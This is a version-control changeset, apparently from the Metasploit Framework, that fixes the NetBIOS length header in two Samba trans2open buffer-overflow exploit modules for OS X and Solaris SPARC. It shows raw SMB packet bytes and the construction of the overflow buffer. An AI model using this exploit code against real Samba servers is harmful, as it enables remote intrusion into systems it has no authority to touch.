Changeset 4063
- Timestamp:
- 10/28/06 11:43:48 (2 years ago)
- Files:
Legend:
- Unmodified
- Added
- Removed
- Modified
- Copied
- Moved
framework2/trunk/exploits/samba_trans2open_osx.pm
r3818 r4063 186 186 187 187 my $Trans = 188 "\x 00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".188 "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 189 189 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". 190 190 "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00". … … 194 194 195 195 my $Overflow = $Trans . $pattern; 196 $Overflow = pack('CCn', 0, 0, length($Overflow)) . $Overflow; 197 196 198 $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret, length($Overflow))); 197 199 framework2/trunk/exploits/samba_trans2open_solsparc.pm
r3818 r4063 229 229 230 230 my $Trans = 231 "\x 00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".231 "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00". 232 232 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". 233 233 "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00". … … 237 237 238 238 my $Overflow = $Trans . $pattern; 239 $Overflow = pack('CCn', 0, 0, length($Overflow)) . $Overflow; 240 239 241 $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret, length($Overflow))); 240 242
